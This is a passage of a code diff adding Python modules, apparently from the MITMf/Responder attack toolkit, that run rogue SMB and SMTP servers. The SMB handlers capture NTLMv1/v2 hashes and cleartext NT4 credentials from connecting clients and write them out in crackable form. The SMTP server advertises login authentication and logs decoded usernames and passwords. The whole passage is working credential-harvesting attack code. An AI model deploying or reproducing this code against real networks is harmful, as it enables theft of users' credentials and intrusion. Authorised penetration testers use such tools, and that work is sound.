responder_logger.info('[+]SMB-NTLMv1 complete hash is :%s'%(writehash))
|
||||
|
||||
if NthashLen > 60:
|
||||
outfile = "./logs/responder/SMB-NTLMv2-Client-"+client+".txt"
|
||||
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainLen = struct.unpack('<H',data[109:111])[0]
|
||||
DomainOffset = struct.unpack('<H',data[111:113])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[117:119])[0]
|
||||
UserOffset = struct.unpack('<H',data[119:121])[0]
|
||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
writehash = User+"::"+Domain+":"+NumChal+":"+NtHash[:32]+":"+NtHash[32:]
|
||||
WriteData(outfile,writehash,User+"::"+Domain)
|
||||
responder_logger.info('[+]SMB-NTLMv2 complete hash is :%s'%(writehash))
|
||||
|
||||
#Parse SMB NTLMv1/v2
|
||||
def ParseLMNTHash(data,client):
|
||||
try:
|
||||
lenght = struct.unpack('<H',data[43:45])[0]
|
||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
NthashLen = struct.unpack('<H',data[53:55])[0]
|
||||
Bcc = struct.unpack('<H',data[63:65])[0]
|
||||
if NthashLen > 25:
|
||||
Hash = data[65+LMhashLen:65+LMhashLen+NthashLen]
|
||||
responder_logger.info('[+]SMB-NTLMv2 hash captured from :%s'%(client))
|
||||
outfile = "./logs/responder/SMB-NTLMv2-Client-"+client+".txt"
|
||||
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
||||
Username, Domain = tuple(var)
|
||||
Writehash = Username+"::"+Domain+":"+NumChal+":"+Hash.encode('hex')[:32].upper()+":"+Hash.encode('hex')[32:].upper()
|
||||
ParseShare(data)
|
||||
WriteData(outfile,Writehash, Username+"::"+Domain)
|
||||
responder_logger.info('[+]SMB-NTLMv2 complete hash is :%s'%(Writehash))
|
||||
if NthashLen == 24:
|
||||
responder_logger.info('[+]SMB-NTLMv1 hash captured from :%s'%(client))
|
||||
outfile = "./logs/responder/SMB-NTLMv1-Client-"+client+".txt"
|
||||
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
||||
Username, Domain = tuple(var)
|
||||
writehash = Username+"::"+Domain+":"+data[65:65+LMhashLen].encode('hex').upper()+":"+data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()+":"+NumChal
|
||||
ParseShare(data)
|
||||
WriteData(outfile,writehash, Username+"::"+Domain)
|
||||
responder_logger.info('[+]SMB-NTLMv1 complete hash is :%s'%(writehash))
|
||||
responder_logger.info('[+]SMB-NTLMv1 Username:%s'%(Username))
|
||||
responder_logger.info('[+]SMB-NTLMv1 Domain (if joined, if not then computer name) :%s'%(Domain))
|
||||
except Exception:
|
||||
raise
|
||||
|
||||
def IsNT4ClearTxt(data):
|
||||
HeadLen = 36
|
||||
Flag2 = data[14:16]
|
||||
if Flag2 == "\x03\x80":
|
||||
SmbData = data[HeadLen+14:]
|
||||
WordCount = data[HeadLen]
|
||||
ChainedCmdOffset = data[HeadLen+1]
|
||||
if ChainedCmdOffset == "\x75":
|
||||
PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
|
||||
if PassLen > 2:
|
||||
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
|
||||
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
|
||||
#print "[SMB]Clear Text Credentials: %s:%s" %(User,Password)
|
||||
responder_logger.info("[SMB]Clear Text Credentials: %s:%s"%(User,Password))
|
||||
|
||||
#SMB Server class, NTLMSSP
|
||||
class SMB1(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
data = self.request.recv(1024)
|
||||
self.request.settimeout(1)
|
||||
##session request 139
|
||||
if data[0] == "\x81":
|
||||
buffer0 = "\x82\x00\x00\x00"
|
||||
self.request.send(buffer0)
|
||||
data = self.request.recv(1024)
|
||||
##Negotiate proto answer.
|
||||
if data[8:10] == "\x72\x00":
|
||||
#Customize SMB answer.
|
||||
head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
|
||||
t = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
|
||||
t.calculate()
|
||||
final = t
|
||||
packet0 = str(head)+str(final)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
self.request.send(buffer0)
|
||||
data = self.request.recv(1024)
|
||||
##Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00":
|
||||
IsNT4ClearTxt(data)
|
||||
head = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
|
||||
t = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge)
|
||||
t.calculate()
|
||||
final = t
|
||||
packet1 = str(head)+str(final)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(4096)
|
||||
if data[8:10] == "\x73\x00":
|
||||
if Is_Anonymous(data):
|
||||
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
||||
final = SMBSessEmpty()
|
||||
packet1 = str(head)+str(final)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
else:
|
||||
ParseSMBHash(data,self.client_address[0])
|
||||
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
final = SMBSession2Accept()
|
||||
final.calculate()
|
||||
packet2 = str(head)+str(final)
|
||||
buffer2 = longueur(packet2)+packet2
|
||||
self.request.send(buffer2)
|
||||
data = self.request.recv(1024)
|
||||
##Tree Connect IPC Answer
|
||||
if data[8:10] == "\x75\x00":
|
||||
ParseShare(data)
|
||||
head = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
|
||||
t = SMBTreeData()
|
||||
t.calculate()
|
||||
final = t
|
||||
packet1 = str(head)+str(final)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
##Tree Disconnect.
|
||||
if data[8:10] == "\x71\x00":
|
||||
head = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
final = "\x00\x00\x00"
|
||||
packet1 = str(head)+str(final)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
##NT_CREATE Access Denied.
|
||||
if data[8:10] == "\xa2\x00":
|
||||
head = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
final = "\x00\x00\x00"
|
||||
packet1 = str(head)+str(final)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
##Trans2 Access Denied.
|
||||
if data[8:10] == "\x25\x00":
|
||||
head = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
final = "\x00\x00\x00"
|
||||
packet1 = str(head)+str(final)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
##LogOff.
|
||||
if data[8:10] == "\x74\x00":
|
||||
head = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
final = "\x02\xff\x00\x27\x00\x00\x00"
|
||||
packet1 = str(head)+str(final)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except Exception:
|
||||
pass #no need to print errors..
|
||||
|
||||
#SMB Server class, old version.
|
||||
class SMB1LM(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.settimeout(0.5)
|
||||
data = self.request.recv(1024)
|
||||
##session request 139
|
||||
if data[0] == "\x81":
|
||||
buffer0 = "\x82\x00\x00\x00"
|
||||
self.request.send(buffer0)
|
||||
data = self.request.recv(1024)
|
||||
##Negotiate proto answer.
|
||||
if data[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
|
||||
t = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge)
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
##Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00":
|
||||
if Is_LMNT_Anonymous(data):
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
packet1 = str(head)+str(SMBSessEmpty())
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
else:
|
||||
ParseLMNTHash(data,self.client_address[0])
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
packet1 = str(head)+str(SMBSessEmpty())
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except Exception:
|
||||
self.request.close()
|
||||
pass
|
||||
|
||||
##################################################################################
|
||||
#SMB Server stuff ends here
|
||||
##################################################################################
|
28
core/protocols/smb/SMBserver.py
Normal file
28
core/protocols/smb/SMBserver.py
Normal file
|
@ -0,0 +1,28 @@
|
|||
import logging
|
||||
import threading
|
||||
import sys
|
||||
from impacket import smbserver, LOG
|
||||
|
||||
LOG.setLevel(logging.INFO)
|
||||
LOG.propagate = False
|
||||
#logging.getLogger('smbserver').setLevel(logging.INFO)
|
||||
#logging.getLogger('impacket').setLevel(logging.INFO)
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
fileHandler = logging.FileHandler("./logs/mitmf.log")
|
||||
streamHandler = logging.StreamHandler(sys.stdout)
|
||||
fileHandler.setFormatter(formatter)
|
||||
streamHandler.setFormatter(formatter)
|
||||
LOG.addHandler(fileHandler)
|
||||
LOG.addHandler(streamHandler)
|
||||
|
||||
class SMBserver:
|
||||
|
||||
def __init__(self, listenAddress = '0.0.0.0', listenPort=445, configFile=''):
|
||||
|
||||
self.server = smbserver.SimpleSMBServer(listenAddress, listenPort, configFile)
|
||||
|
||||
def start(self):
|
||||
t = threading.Thread(name='SMBserver', target=self.server.start)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
0
core/protocols/smb/__init__.py
Normal file
0
core/protocols/smb/__init__.py
Normal file
74
core/protocols/smtp/SMTPPackets.py
Normal file
74
core/protocols/smtp/SMTPPackets.py
Normal file
|
@ -0,0 +1,74 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
#SMTP Greating class
|
||||
class SMTPGreating(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "220"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "smtp01.local ESMTP"),
|
||||
("CRLF", "\x0d\x0a"),
|
||||
])
|
||||
|
||||
class SMTPAUTH(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code0", "250"),
|
||||
("Separator0", "\x2d"),
|
||||
("Message0", "smtp01.local"),
|
||||
("CRLF0", "\x0d\x0a"),
|
||||
("Code", "250"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "AUTH LOGIN PLAIN XYMCOOKIE"),
|
||||
("CRLF", "\x0d\x0a"),
|
||||
])
|
||||
|
||||
class SMTPAUTH1(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "334"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "VXNlcm5hbWU6"),#Username
|
||||
("CRLF", "\x0d\x0a"),
|
||||
|
||||
])
|
||||
|
||||
class SMTPAUTH2(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "334"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "UGFzc3dvcmQ6"),#Password
|
||||
("CRLF", "\x0d\x0a"),
|
||||
|
||||
])
|
||||
|
||||
|
63
core/protocols/smtp/SMTPServer.py
Normal file
63
core/protocols/smtp/SMTPServer.py
Normal file
|
@ -0,0 +1,63 @@
|
|||
##################################################################################
|
||||
#ESMTP Stuff starts here
|
||||
##################################################################################
|
||||
|
||||
class SMTP():
|
||||
|
||||
def serve_thread_tcp(self, host, port, handler):
|
||||
try:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
|
||||
|
||||
#Function name self-explanatory
|
||||
def start(self, SMTP_On_Off):
|
||||
if SMTP_On_Off == "ON":
|
||||
t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=("0.0.0.0", 25,ESMTP))
|
||||
t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=("0.0.0.0", 587,ESMTP))
|
||||
|
||||
for t in [t1, t2]:
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
if SMTP_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
#ESMTP server class.
|
||||
class ESMTP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(SMTPGreating()))
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == "EHLO":
|
||||
self.request.send(str(SMTPAUTH()))
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == "AUTH":
|
||||
self.request.send(str(SMTPAUTH1()))
|
||||
data = self.request.recv(1024)
|
||||
if data:
|
||||
Username = b64decode(data[:len(data)-2])
|
||||
self.request.send(str(SMTPAUTH2()))
|
||||
data = self.request.recv(1024)
|
||||
if data:
|
||||
Password = b64decode(data[:len(data)-2])
|
||||
Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,Username+":"+Password, Username+":"+Password)
|
||||
#print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password)
|
||||
responder_logger.info("[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password))
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
##################################################################################
|
||||
#ESMTP Stuff ends here
|
||||
##################################################################################
|
0
core/protocols/smtp/__init__.py
Normal file
0
core/protocols/smtp/__init__.py
Normal file
Loading…
Add table
Add a link
Reference in a new issue